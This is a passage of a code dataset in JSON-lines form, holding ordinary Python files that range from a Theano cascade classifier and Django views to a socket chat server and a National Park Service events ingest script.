CF.model00(F, w_l, b_l)\n pygx2 = CF.model00(E, v_l, c_l)\n pygx = CF.model3(X, w_h1, w_o, b1, bo, 0, 1)\n\n yhat1 = (pygx1 > 0.5)\n yhat2 = (pygx2 > 0.5)\n yhat = (pygx > 0.5)\n\n f = lambda x, a: 1 / (1 + T.exp(-a * (x - 0.5)))\n\n pygx_final = pygx1 * pygx2 * pygx\n\n reg = T.mean( t1 + t2*pygx1 + t3*pygx1*pygx2 )\n cost = T.mean(T.nnet.binary_crossentropy(pygx_final, Y)) + plambda*reg\n\n params = [w_l, b_l, v_l, c_l, w_h1, w_o, b1, bo]\n\n # updates = lasagne.updates.adagrad(cost, params, learning_rate=1/5, epsilon=1e-06)\n updates = lasagne.updates.rmsprop(cost, params, learning_rate=0.075, rho=0.9, epsilon=1e-06)\n\n train = theano.function(inputs=[X, F, E, Y], outputs=cost, updates=updates, allow_input_downcast=True)\n reg_value = theano.function(inputs=[F, E], outputs=reg, allow_input_downcast=True)\n\n predict_first = theano.function(inputs=[F], outputs=yhat1, allow_input_downcast=True)\n predict_second = theano.function(inputs=[E], outputs=yhat2, allow_input_downcast=True)\n predict_final = theano.function(inputs=[X], outputs=yhat, allow_input_downcast=True)\n predict_prob = theano.function(inputs=[X, F, E], outputs=pygx_final, allow_input_downcast=True)\n\n max_iter = 400\n for j in range(max_iter):\n c = train(trX, trX1, trX2, trY)\n r = reg_value(trX1, trX2)\n print(c-plambda*r, plambda*r)\n\n probs = predict_prob(teX, teX1, teX2)\n AUC = roc_auc_score(teY, probs)\n\n start1 = time.clock()\n for t in range(n_it):\n teQ1 = predict_first(teX1)\n end1 = time.clock()\n time1[i] = end1 - start1\n inds_test1 = np.where(teQ1 == 1)[0]\n nnz[i] = inds_test1.shape[0]\n\n inds_true = np.where( teY == 1 )[0]\n int_result1 = np.intersect1d(inds_test1,inds_true)\n print(\"first stage nzs:%d,true nzs:%d,intersection:%d\" %(inds_test1.shape[0],inds_true.shape[0],int_result1.shape[0]))\n\n teX2 = teX2[inds_test1, :]\n\n start1 = time.clock()\n for t in range(n_it):\n teQ2 = predict_second(teX2)\n end1 = time.clock()\n time1[i] = end1 - start1\n inds_test2 = np.where(teQ2 == 1)[0]\n nnz[i] = inds_test2.shape[0]\n\n int_result2 = np.intersect1d(inds_test1[inds_test2], inds_true)\n print(\"second stage nzs:%d,true nzs:%d,intersection:%d\" % (\n inds_test2.shape[0], inds_true.shape[0], int_result2.shape[0]))\n\n\n teX = teX[inds_test1[inds_test2],:]\n\n start1 = time.clock()\n for t in range(n_it):\n teP = predict_final(teX)\n end1 = time.clock()\n time1[i] += end1 - start1\n\n teY3 = np.zeros(teY.shape, dtype=int)\n teY3.fill(0)\n teY3[inds_test1[inds_test2]] = teP\n accuracy1[i] = np.mean(teY == teY3)\n\n inds_second = np.where( teY3 == 1 )[0]\n int_result = np.intersect1d(inds_second,inds_true)\n print(\"final stage nzs:%d,true nzs:%d,intersection:%d\" %(inds_second.shape[0],inds_true.shape[0],int_result.shape[0]))\n r = int_result.shape[0] / inds_true.shape[0]\n p = int_result.shape[0] / inds_second.shape[0]\n print(\"final stage: recall = %f, precision = %f, accuracy = %f\" %(r,p,accuracy1[i]))\n F1[i] = 2*r*p/(r + p)\n\n return time1, accuracy1, F1, nnz, AUC","sub_path":"Codes/soft_cascade_rw.py","file_name":"soft_cascade_rw.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"387566636","text":"from django.shortcuts import get_object_or_404, render\nfrom django.db import transaction\nfrom django.http import HttpResponseRedirect,HttpResponse\nfrom django.urls import reverse\nfrom django.views import generic\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom .forms import NewMemberRegistrationForm,SCCheckForm, CarRegistrationFormSet,PaymentFormSet\nfrom .models import Member,Payment,Car\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import User, Group\nfrom django import template\nfrom datetime import date\n\n# Create your views here.\n\n#def index(request):\n # member = Member.objects.all()\n # context = {'member' : member}\n # return render(request,'pcmapp/index.html', context)\n\nclass IndexView(generic.ListView):\n template_name = 'pcmapp/index.html'\n context_object_name = 'member'\n paginate_by = 10\n def get_queryset(self):\n return Member.objects.all()\n\n#get details of car no\n#def querymember(request, member_car_no):\n # owner = Member.objects.get(member_car_no = member_car_no)\n # context = {'owner': owner}\n # return render(request,'pcmapp/memberdetail.html',context)\n\nclass DetailView(generic.DetailView):\n template_name = 'pcmapp/memberdetail.html'\n model = Member\n context_object_name = 'member'\n queryset = Member.objects.filter()\n\nclass PaymentInYearView(generic.ListView):\n template_name = 'pcmapp/paymentlist.html'\n model = Payment,Member\n context_object_name = 'payment'\n def get_queryset(self):\n return Payment.objects.all()\n\nclass NewRegistrationCreate(CreateView):\n model = Member\n template_name = 'pcmapp/newregistration.html'\n fields = ['member_name','member_email','member_phone','member_birthdate','member_address_state','member_address_postcode','member_on_chat','member_source']\n def get_context_data(self, **kwargs):\n context = super(NewRegistrationCreate, self).get_context_data(**kwargs)\n return context\n\n\nclass NewCarRegistrationCreate(CreateView):\n model = Car\n template_name = 'pcmapp/newcarregistration.html'\n fields = ['car_reg_no','car_model','car_engine_chasis']\n sucess_url = 'pcmapp:index'\n def get_context_data(self, **kwargs):\n context = super(NewCarRegistrationCreate, self).get_context_data(**kwargs)\n return context\n\nclass NewMemberRegistrationView(CreateView):\n template_name = 'pcmapp/newregistration.html'\n model = Member\n form_class = NewMemberRegistrationForm\n success_url = 'registrationsuccess'\n def get(self, request, *args, **kwargs):\n self.object = None\n form_class = self.get_form_class()\n form = self.get_form(form_class)\n car_form = CarRegistrationFormSet()\n receipt_form = PaymentFormSet()\n return self.render_to_response(\n self.get_context_data(form=form,\n car_form=car_form,\n receipt_form=receipt_form))\n\n def post(self, request, *args, **kwargs):\n self.object = None\n form_class = self.get_form_class()\n form = self.get_form(form_class)\n car_form = CarRegistrationFormSet(self.request.POST)\n receipt_form = PaymentFormSet(self.request.POST, self.request.FILES)\n if (form.is_valid() and car_form.is_valid() and receipt_form.is_valid()):\n return self.form_valid(form, car_form, receipt_form)\n else:\n return self.form_invalid(form, car_form, receipt_form)\n\n def form_valid(self, form, car_form, receipt_form):\n self.object = form.save()\n car_form.instance = self.object\n car_form.save()\n receipt_form.instance = self.object\n receipt_form.save()\n return HttpResponseRedirect(self.get_success_url())\n\n def form_invalid(self, form, car_form,receipt_form):\n return self.render_to_response(\n self.get_context_data(form=form,\n car_form=car_form,\n receipt_form=receipt_form))\n\nclass RegistrationSuccess(generic.TemplateView):\n template_name = 'pcmapp/registrationsuccess.html'\n\nclass SCcheckView(LoginRequiredMixin,generic.FormView):\n model=Car\n template_name = 'pcmapp/sccheck.html'\n form_class = SCCheckForm\n\n def post(self, request, *args, **kwargs):\n form_class = self.get_form_class()\n form = self.get_form(form_class)\n #carid = get_object_or_404(Car, car_reg_no=request.POST.get('car_reg_no'))\n #self.success_url = 'sccheckdetails/%s' % carid.pk\n if form.is_valid():\n return self.form_valid(form)\n else:\n return self.form_invalid(form)\n\n\n def form_valid(self,form):\n carid = Car.objects.get(car_reg_no=form.cleaned_data['car_reg_no'])\n self.success_url = 'sccheckdetails/%s' % carid.pk\n return HttpResponseRedirect(self.get_success_url())\n\n def form_invalid(self,form):\n return self.render_to_response(\n self.get_context_data(form=form))\n\nclass SCcheckDetailView(LoginRequiredMixin,generic.DetailView):\n model = Car\n template_name = 'pcmapp/sccheck_detail.html'\n def get_context_data(self, **kwargs):\n context = super(SCcheckDetailView, self).get_context_data(**kwargs)\n context['car'] = Car.objects.get(pk=self.kwargs.get('pk',None))\n context['member'] = Member.objects.get(id=context['car'].member_id.pk)\n return context\n\n\nclass NewMemberDetailView(generic.DetailView):\n model=Member\n template_name='pcmapp/member_detail.html'\n\nclass NewMemberListView(generic.ListView):\n model=Member\n template_name= 'pcmapp/new_member_list.html'\n paginate_by=20\n queryset = Member.objects.all().filter(member_expiry_date__isnull=True)\n\nclass MemberDetailView(LoginRequiredMixin,generic.TemplateView):\n model=Member\n template_name='pcmapp/member_detail.html'\n\n def get_context_data(self,**kwargs):\n context = super(MemberDetailView,self).get_context_data(**kwargs)\n context['member']= Member.objects.get(owner=self.request.user)\n return context\n\nclass ExpiringMembershipList(generic.ListView):\n template_name = 'pcmapp/expiring_members.html'\n queryset = Member.objects.all().filter(member_expiry_date__month=date.today().month,member_expiry_date__year=date.today().year)\n","sub_path":"pcmapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"189810164","text":"#!/usr/bin/python3\n\n# Converting a list into a string\ndef lst_to_str(lst) :\n string = \"\"\n for i in lst :\n string += str(i)\n return string\n\n# Function to do shift right\ndef SHR(A, Q) :\n # Let A = 101, Q = 110\n # Shifting can be obtained by prepending the last bit\n # of Q to the begining of A and removing the last bit.\n # 101110 --> 0101110 --> 010111\n # of Q. And divide them according to their lengths\n # Length of A is 3 and of Q is 3\n # A becomes 010 (first 3 bits), Q becomes 111(remaining)\n string = A + Q\n string = string[len(string)-1] + string\n string = string[:len(string)-1]\n return string[:len(A)], string[len(A):]\n\n# Function to perform binary addition\ndef ADD(a, b) :\n res = list() # A list to store the added result\n carry = 0 # Carry intially 0\n\n # If the lengths of both the binary number are not\n # same, then pad them with zeroes\n while len(a) > len(b) :\n b = '0' + b\n while len(b) > len(a) :\n a = '0' + a\n\n # Loop from the end\n i = len(a) - 1\n while i >= 0 :\n # XOR\n x = (int(a[i]) + int(b[i]) + carry) % 2 \n # Calculating carry\n carry = (int(a[i]) + int(b[i]) + carry) // 2 \n res.insert(0, x) # Store result in the 1st position\n i -= 1\n #res.insert(0, carry)\n return lst_to_str(res)\n\n# Function to calculate the two's complement of a binary\ndef twos_comp(num) :\n ones = list() # List to store the one's complement\n # Flip the bits to calculate the one's complement\n for x in num :\n if x == '1' :\n ones.append('0')\n elif x == '0' :\n ones.append('1')\n # Convert that list into a string\n ones = lst_to_str(ones)\n # Two's complement = one's complemwnt + 1\n # Binary addition between ones complement and 1 \n # to get two's complement\n twos = ADD(ones, '1')\n return twos\n\n# Prompt user for the input\nmul = int(input('Enter multiplicand: '))\nmuq = int(input('Enter multiplier: '))\nflag = '0' # Q(n+1) that is used in booth's algorithm\n\n# Convert the given numbers into binary\nM = bin(mul)[2:]\nQ = bin(muq)[2:]\nif mul < 0 :\n M = M[1:]\nif muq < 0 :\n Q = Q[1:]\n\n# Padding with zeroes if lengths are not same\nwhile len(M) > len(Q) :\n Q = '0' + Q\nwhile len(Q) > len(M) :\n M = '0' + M\n\nQ1 = Q # After all the algorithm ran, the value of\n # Q will be changed, to restore that back\n # I'm storing it in a new variable\n\nif mul >= 0 :\n M = '0' + M\nelse :\n print(\"SORRY!!..If multiplicand is -ve, my program goes wrong\")\n M = twos_comp(M)\n M = '1' + M\nif muq >= 0 :\n Q = '0' + Q\nelse :\n Q = twos_comp(Q)\n Q = '1' + Q\n\n# Accumulator initially filled with zeroes\nA = \"\"\nfor i in range(len(M)) :\n A += '0'\n\n# Calculating two's complemet of the multiplicand\nM_prime = twos_comp(M)\n\nprint(\"A Q Flag\")\n\n## Booth's Algorithm ##\nfor i in range(len(Q)) :\n print(A, Q, flag)\n \"\"\"\n Qn Qn+1 Operation\n 0 0 Shift Right\n\n 1 0 A <- A - M \n Shift Right\n\n 0 1 A <- A + M\n Shift Right\n\n 1 1 Shift Right\n \"\"\"\n a = Q[len(Q) - 1]\n b = flag\n print(\"\\nQ0:\", Q[len(Q) -1], \"flag:\", flag)\n if a == '0' and b == '1' :\n A = ADD(A, M)\n print(A, Q, flag, \" --ADD\")\n elif a == '1' and b == '0' :\n A = ADD(A, M_prime)\n print(A, Q, flag, \" --SUB\")\n # Shifting Right\n # Qn+1 gets the value of Qn\n flag = Q[len(Q) - 1]\n (A, Q) = SHR(A, Q)\n print(A, Q, flag, \" --SHR\")\n\n# Convert the binary result into decimal\nans = int(A + Q, 2)\n\n# Assuming that the result is 2's complement\n# if 1010 is normal binary then its decimal value is\n# 2 + 8 = 10\n# if that is a 2's complement, then its decimal value is\n# -8 + 2 = -6\n# This can be achivied by taking the place value of first 1\n# on the most significant side as -ve(-8) and calculate the \n# decimal value of reminining binary number (010 = 2).\n# Now add both the results ==> -8 + 2 = -6\n# This can also be achived by the following process\ni = 0\nans1 = 0 # To store the complemented result\nwhile i < len(A+Q) :\n # Finding the first 1 on the most significant side\n if (A+Q)[i] == '1' :\n ans1 = ans - 2**(len(A+Q)-i)\n break\n i += 1\n## Explaination of the above while loop\n# find the decimal value of given binary value\n# 1010 = 10\n# Find the place value of first one on the most significant\n# side, (8), now double this value and subtract from the \n# original value, ==> 10 - 2(8) = 10 - 16 = -6\n# You might have observed that the result in both the cases\n# is same\n\nprint(\"Product of \", mul, \" (\",M,\") \", \" and \", muq,\" (\",Q1,\") :\",\"\\n\", ans, \" (\",A+Q,\") \", \"or : \", ans1, sep=\"\")\n","sub_path":"COA/booth_multiplier.py","file_name":"booth_multiplier.py","file_ext":"py","file_size_in_byte":4705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"242362169","text":"from socket import AF_INET, SOCK_STREAM\nfrom threading import Thread\nimport sys\nimport socket\n\n\ndef accept():\n while True:\n client, client_address = SERVER.accept()\n print(\"%s:%s has connected.\" % client_address)\n client.send(bytes(\"Welcome to %s! Now type your name and press enter!\" % (server_name), \"utf8\"))\n addresses[client] = client_address\n Thread(target=cclient, args=(client,)).start()\n\n\ndef cclient(client):\n name = client.recv(BUFSIZ).decode(\"utf8\")\n welcome = 'Welcome %s! If you ever want to quit, type {quit} to exit.' % name\n client.send(bytes(welcome, \"utf8\"))\n msg = \"%s has joined the chat!\" % name\n broadcast_to_all(bytes(msg, \"utf8\"))\n clients[client] = name\n\n while True:\n msg = client.recv(BUFSIZ)\n if msg != bytes(\"{quit}\", \"utf8\"):\n broadcast_to_all(msg, name + \": \")\n else:\n del clients[client]\n # client.send(bytes(\"{quit}\", \"utf8\"))\n aa = \"%s has left the chat.\" % name\n broadcast_to_all(bytes(aa, \"utf8\"))\n # client.close()\n break\n\n\ndef broadcast_to_all(msg, prefix=\"\"):\n for sock in clients:\n sock.send(bytes(prefix, \"utf8\") + msg)\n\n\nclients = {}\naddresses = {}\n\nhostname = socket.gethostname()\nIPAddr = socket.gethostbyname(hostname)\nprint(\"Enter IP Address to host the server. Press ENTER to use default IP Address (%s)\" % (IPAddr))\nHOST = input(\"->\")\nif not HOST:\n HOST = str(IPAddr)\n\nPORT = 33000\nserver_name = \"\"\nwhile server_name == \"\":\n server_name = input(\"Enter the room name -> \")\n if server_name == \"\":\n print(\"Room name cannot be blank.\")\n\nBUFSIZ = 1024\nADDR = (HOST, PORT)\n\nSERVER = socket.socket(AF_INET, SOCK_STREAM)\ntry:\n SERVER.bind(ADDR)\nexcept Exception as e:\n print(e)\n sys.exit()\n\nif __name__ == \"__main__\":\n SERVER.listen(6)\n print(\"\\nServer IP Address = %s\" % (HOST))\n print(\"Server PORT Number = %d\" % (PORT))\n print(\"Room Name = %s\" % (server_name))\n print(\"\\nWaiting for connections...\")\n accepting_thread = Thread(target=accept)\n accepting_thread.start()\n accepting_thread.join()\n SERVER.close()\n","sub_path":"Chat/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"121643274","text":"'''\nYou are given an array A of size N. You need to push the elements of the array into a stack and then print minimum in the stack at each pop.\n\nInput:\nThe first line of input contains T denoting the number of test cases. T test cases follow. Each testcase contains two lines of input. \nThe first line of input contains the size of array N. The second line of the array contains the elements of array separated by spaces.\n\nOutput:\nFor each testcase, in a new line, print the required output.\n\nYour Task:\nSince this is a function problem, you don't need to take any input. Just complete the provided functions _push() and _getMinAtPop().\n\nExpected Time Complexity: O(N).\nExpected Auxiliary Space: O(N).\n\nConstraints:\n1 <= T <= 100\n1 <= Ai <= 107\n\nExamples:\nInput:\n2\n5\n1 2 3 4 5\n7\n1 6 43 1 2 0 5\nOutput:\n1 1 1 1 1\n0 0 1 1 1 1 1\n\nExplanation:\nTestcase 1: After pushing elements to the stack, the stack will be top --- > 5, 4, 3, 2, 1. Now, start popping elements from the stack:\npopping 5: min in the stack is 1. popped 5\npopping 4: min in the stack is 1. popped 4\npopping 3: min in the stack is 1. popped 3\npopping 2: min in the stack is 1. popped 2\npopping 1: min in the stack is 1. popped 1.\nTestcase 2: After pushing the elements to the stack, the stack will be 5->0->2->1->43->6->1. Now, poping the elements from the stack:\npopping 5: min in the stack is 0. popped 5\npopping 0: min in the stack is 0. popped 0\npopping 2: min in the stack is 1. popped 2\npopping 1: min in the stack is 1. popped 1\npopping 43: min in the stack is 1. popped 43\npopping 6: min in the stack is 1. popped 6\npopping 1: min in the stack is 1. popped 1.\n\nhints:\n\nPush the first element of the array in stack, then start comparing from second element\n if top element of stack is > arr[i] then,\n push(arr[i])\n else\n push(stack.top())\nThe stack will have minimum element for each removal.\n\n'''\nfrom collections import deque\n\nclass MinStack:\n \n def __init__(self):\n self.s = deque()\n self.aux = deque()\n\n def push(self, x):\n \n self.s.append(x)\n \n # if auxiliary stack is empty, push the given element into it\n if(not self.aux):\n self.aux.append(x)\n\n else:\n # push the given element into the auxiliary stack\n # if it is less than or equal to the current minimum\n if(self.aux[-1] >= x):\n self.aux.append(x)\n \n def pop(self):\n \n if(not self.s):\n print(\"Stack Underflow\")\n exit(1)\n \n else:\n top = self.s.pop()\n \n # remove top element from the auxiliary stack\n # only if it is minimum\n if(top == self.aux[-1]):\n self.aux.pop()\n \n return top\n \n def getMin(self):\n \n if(not self.aux):\n print(\"Stack Underflow\")\n exit(1)\n \n return self.aux[-1]","sub_path":"geeksforgeeks/stack/8_Get_min_at_pop.py","file_name":"8_Get_min_at_pop.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"290943465","text":"import os, requests\nimport tqdm\n\n\ndef download_weights(file_id, destination, chunk_size=32768):\n \"\"\"\n Based on: https://stackoverflow.com/a/39225039\n \"\"\"\n url = \"https://docs.google.com/uc?export=download\"\n session = requests.Session()\n response = session.get(url, params={'id': file_id}, stream=True)\n\n for key, token in response.cookies.items():\n if key.startswith('download_warning'):\n response = session.get(url,\n params={'id': file_id, 'confirm': token}, stream=True)\n break\n \n os.makedirs(os.path.dirname(destination), exist_ok=True)\n with open(destination, 'wb') as f:\n for chunk in tqdm.tqdm(response.iter_content(chunk_size)):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk) ","sub_path":"ada_in_style/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"441271331","text":"class JNU(object):\r\n\t'''***这是个新的暨南大学类***'''\r\n\r\n\ttotal=0\r\n\tdef __new__(cls,*args,**kwargs):\r\n\t\tif cls.total >= 5:\r\n\t\t\traise Exception('最多只能建立5间学校')\r\n\t\telse:\r\n\t\t\tJNU.total+=1\r\n\t\t\treturn object.__new__(cls)\r\n\r\njnu_tianhe=JNU()\r\njnu_panyu=JNU()\r\njnu_zhuhai=JNU()\r\njnu_shenzhen=JNU()\r\njnu_huawen=JNU()\r\n#jun_USA=JNU()","sub_path":"Design_Patterns09.py","file_name":"Design_Patterns09.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"429529861","text":"import logging\nimport logging.config\nclass MyLogger(object):\n \n def __init__(self, loggerName=\"customLogger\", loggerLevel=logging.DEBUG, logFileName=\"lipid_processor.log\"):\n #self.logger = logging.getLogger(loggerName)\n #self.logger.setLevel(logging.DEBUG)\n \n #consoleHandler = logging.StreamHandler()\n #consoleHandler.setLevel(loggerLevel) \n \n #formatter = logging.Formatter(\"%(asctime)s-[ %(levelname)s ]: %(message)s\")\n \n #consoleHandler.setFormatter(formatter)\n \n #self.logger.addHandler(consoleHandler)\n\n \n #logging.config.fileConfig(\"logging.conf\") \n #self.logger = logging.getLogger(loggerName) \n\n self.logger = logging.getLogger(loggerName)\n self.logger.setLevel(loggerLevel)\n \n fileHandler = logging.FileHandler(logFileName)\n fileHandler.setLevel(loggerLevel)\n\n consoleHandler = logging.StreamHandler()\n consoleHandler.setLevel(loggerLevel)\n\n formatter = logging.Formatter('%(filename)s:%(funcName)s:%(lineno)d]-%(asctime)s-%(name)s-%(levelname)s: %(message)s')\n\n fileHandler.setFormatter(formatter)\n consoleHandler.setFormatter(formatter)\n\n self.logger.addHandler(consoleHandler)\n self.logger.addHandler(fileHandler)\n\n \n def getLogger(self):\n return self.logger\n \n \n\n\ndef runLoggerTest():\n logger = MyLogger(\"Simple_Logger\").getLogger()\n \n logger.debug(\"This is debug message\")\n logger.info(\"This is info message\")\n logger.warning(\"This is a warn message\")\n logger.error(\"This is a error message\")\n logger.critical(\"This is a critical message\")\n","sub_path":"Logger2.py","file_name":"Logger2.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"124779514","text":"\n\nfrom xai.brain.wordbase.nouns._dependant import _DEPENDANT\n\n#calss header\nclass _DEPENDANTS(_DEPENDANT, ):\n\tdef __init__(self,): \n\t\t_DEPENDANT.__init__(self)\n\t\tself.name = \"DEPENDANTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"dependant\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_dependants.py","file_name":"_dependants.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"443206262","text":"import numpy as np\nimport networkx as nx\nimport pickle\nimport matplotlib.pyplot as plt\n\n\n# pickle_in = open('v1/2020/margins_matrix_2020.pickle', 'rb')\n# i = 0\n# M = pickle.load(pickle_in)\n# for r in range(len(M)):\n# \tfor c in range(len(M(r))):\n# \t\tif M(r)(c) != 0:\n# \t\t\ti += 1\n# print(i)\n\n# M = (\n\n# \t)\n\n# G=nx.from_numpy_matrix(M)\n\nG = nx.DiGraph()\n\nG.add_nodes_from(range(1,7))\nG.add_edges_from([(1,2),(2,1),(1,3),(3,1),(2,3),(3,2),(4,1),(4,5),(5,4),(5,6),(6,5),(4,6),(6,4)])\nlabels = {}\nlabels[1]='Duke'\nlabels[2]='Kentucky'\nlabels[3]=\"Kansas\"\nlabels[4]='Stephen F Austin'\nlabels[5]='Rutgers'\nlabels[6]= 'Drexel'\n# pos = nx.spring_layout(G)\n# print(nx.is_connected(G))\n# print(G.number_of_edges())\nnx.draw_shell(G, with_labels=True, font_weight='bold')\n\nplt.scatter(X, Y)\nplt.show()\n# plt.show()","sub_path":"nx_scratch.py","file_name":"nx_scratch.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"34699460","text":"import requests\nimport os\nimport re\nimport json\nimport sys\n\n# Be sure to set env variables first\n# $ export NPS_KEY=\n\n# You can verify them with\n# $ printenv\n\ntry:\n ELASTICSEARCH_DOMAIN = os.environ['ELASTICSEARCH_DOMAIN']\nexcept KeyError:\n print(\"Add your ELASTICSEARCH_DOMAIN as an env variable.\")\n ELASTICSEARCH_DOMAIN = None\n\ntry:\n NPS_KEY = os.environ['NPS_KEY']\nexcept KeyError:\n print(\"Add your NPS_KEY as an env variable.\")\n sys.exit(1)\n\n\ndef get_park_codes_by_state(state, limit = 200):\n '''\n Given a state (e.g. 'DC'), return all of its NPS park codes. These are used as params for the NPS events API\n\n Parameters:\n state (str): a two character string for a state abbreviation (eg. 'DC')\n limit (int): number of results to return per request. Default is 200.\n\n Returns:\n park_codes (list): a list of str 4-char park codes to be used with the NPS Events API\n '''\n\n key_param = f'&api_key={NPS_KEY}'\n limit_param = f'&limit={limit}'\n url = \"https://developer.nps.gov/api/v1/parks?stateCode=\" + state + key_param + limit_param\n r = requests.get(url)\n data = r.json()\n park_codes = []\n for park in data[\"data\"]:\n park_codes.append(park[\"parkCode\"])\n\n return park_codes\n\ndef get_park_events(park_code, limit=200):\n '''\n Get events data from the National Parks Service Events API for a given park_code\n \n Parameters:\n park_code (str): a park_code as returned by the NPS parkCode API through get_park_codes_by_state()\n limit (int): number of results to return per request. Default is 200\n \n Returns:\n park_events (list): A list of dicts representing each event with 'park' as the siteType. \n The dict structures follows that of the NPS Events API.\n '''\n\n park_code_param = f'?parkCode={park_code}'\n limit_param = f'&limit={limit}'\n key_param = f'&api_key={NPS_KEY}'\n url = \"https://developer.nps.gov/api/v1/events\"+park_code_param+limit_param+key_param\n r = requests.get(url)\n r_json = r.json() \n data = r_json['data']\n park_events = []\n for d in data:\n if d['siteType'] == 'park':\n park_events.append(d)\n \n return park_events\n\ndef get_nps_events(park_codes):\n '''\n Get all of the events associated with a park code\n\n Parameters:\n park_codes (list): a list of str 4-char park codes.\n\n Returns:\n nps_events (list): a list of events\n '''\n \n nps_events = []\n for park_code in park_codes:\n try:\n park_events = get_park_events(park_code)\n if len(park_events) > 1:\n for park_event in park_events:\n nps_events.append(park_event)\n except Exception as e:\n print(e)\n\n \n return nps_events\n\ndef get_park_geo_data(park_codes):\n '''\n Given a park_code, use the NPS Parks API to obtain geo and location data to match our application's schema\n\n Parameters:\n park_codes (list): a list of park codes as strings as returned by get_park_codes_by_state()\n\n Returns:\n park_codes_geo_map (dict): a dict containing both the geo and location objects to insert into an event's schema\n '''\n \n park_codes_geo_map = {k:None for k in park_codes}\n for park_code in park_codes:\n key_param = f'&api_key={NPS_KEY}'\n endpoint = \"https://developer.nps.gov/api/v1/parks?parkCode=\" + park_code + key_param + \"&fields=addresses\"\n r = requests.get(endpoint)\n data = r.json()['data']\n lat_lon = data[0][\"latLong\"]\n try:\n lat, lon = tuple([\".\".join(re.findall(r'\\d+', x)) for x in lat_lon.split(\",\")])\n except ValueError:\n lat, lon = ('','')\n name = data[0]['name']\n description = data[0]['description']\n\n city = ''\n state = ''\n postal_code = ''\n street = ''\n for address in data[0][\"addresses\"]:\n if address[\"type\"] == \"Physical\":\n city += address[\"city\"]\n state += address[\"stateCode\"]\n postal_code += str(address[\"postalCode\"])\n street += address['line1'] + ' ' + address['line2'] + ' ' +address['line3']\n\n geo_obj = {'lat':lat,\n 'lon':lon}\n location_obj = {'streetAddress':street,\n 'addressLocality':city,\n 'addressRegion':None,\n 'postalCode':postal_code,\n 'addressCountry':'US',\n 'name':name,\n 'description':description,\n 'telephone':None} \n \n park_codes_geo_map[park_code] = {'geo':geo_obj, 'location':location_obj}\n \n return park_codes_geo_map\n\ndef shcematize_nps_event(nps_event, park_codes_geo_map):\n '''\n Convert the event data from the NPS API into our application's schema.\n\n Parameters:\n nps_event (dict): a dict representing the json of a single NPS event.\n park_codes_geo_map (dict): a dict containing both the geo and location objects to insert into an event's schema\n\n Returns:\n event_id (str): unique identifier for this event\n schematized_nps_event (dict): the event data in our application's schema \n '''\n \n event_id = nps_event['id']\n name = nps_event['title']\n startDate = nps_event['dateStart']\n endDate = nps_event['dateEnd']\n park_code = nps_event['siteCode']\n geo = park_codes_geo_map[park_code]['geo']\n url = nps_event['infoURL'] if len(nps_event['infoURL']) > 0 else nps_event['portalName']\n image = nps_event['images']\n description = nps_event['description']\n registrationRequired = True if nps_event['isRegResRequired'] else 0\n registrationByDate = nps_event['regResInfo']\n registrationURL = nps_event['regResURL']\n fee = 'free' if nps_event['isFree'] else nps_event['feeInfo']\n location = park_codes_geo_map[park_code]['location']\n organization = {'name':nps_event['organizationName'],\n 'description':None,\n 'url':None,\n #'telephone':nps_event['contactTelephoneNumber'],\n 'email':nps_event['contactEmailAddress']}\n activityCategories = nps_event['tags']\n eventTypes = nps_event['types']\n ingested_by = 'https://github.com/DataKind-DC/capital-nature-ingest/tree/master/ingest_scripts/nps.py'\n \n schematized_nps_event = { 'name': name,\n 'startDate': startDate,\n 'endDate': endDate,\n 'geo': geo,\n 'url': url,\n 'image': image,\n 'description': description,\n 'registrationRequired': registrationRequired,\n 'registrationByDate': registrationByDate,\n 'registrationURL': registrationURL,\n 'fee': fee,\n 'location': location,\n 'organizationDetails': organization,\n 'offers':None,\n 'physicalRequirements':None,\n 'activityCategories':activityCategories,\n 'eventTypes':eventTypes,\n 'ingested_by':ingested_by}\n \n return event_id, schematized_nps_event\n\ndef main():\n va_codes = get_park_codes_by_state('VA')\n dc_codes = get_park_codes_by_state('DC')\n md_codes = get_park_codes_by_state('MD')\n park_codes = set(va_codes + dc_codes + md_codes)\n nps_events = get_nps_events(park_codes)\n park_codes_geo_map = get_park_geo_data(park_codes)\n events = {}\n for nps_event in nps_events:\n event_id, schematized_nps_event = shcematize_nps_event(nps_event, park_codes_geo_map)\n events[event_id] = schematized_nps_event\n \n return events\n\ndef put_event(schema, event_id):\n '''\n Void function that puts an event into application's ELASTICSEARCH_DOMAIN\n Parameters:\n schema (dict): a dict representing a single event\n event_id (str): a uid for an event. Taken from the NPS API\n '''\n \n json_schema = json.dumps(schema)\n try:\n r = requests.put(\"{0}/capital_nature/event/{1}\".format(ELASTICSEARCH_DOMAIN, event_id),\n data=json_schema,\n headers={'content-type':'application/json'})\n print(r.status_code)\n except Exception as e:\n #TODO: log errors\n print(e)\n\nif __name__ == '__main__':\n events = main()\n for event_id in events:\n schema = events[event_id]\n 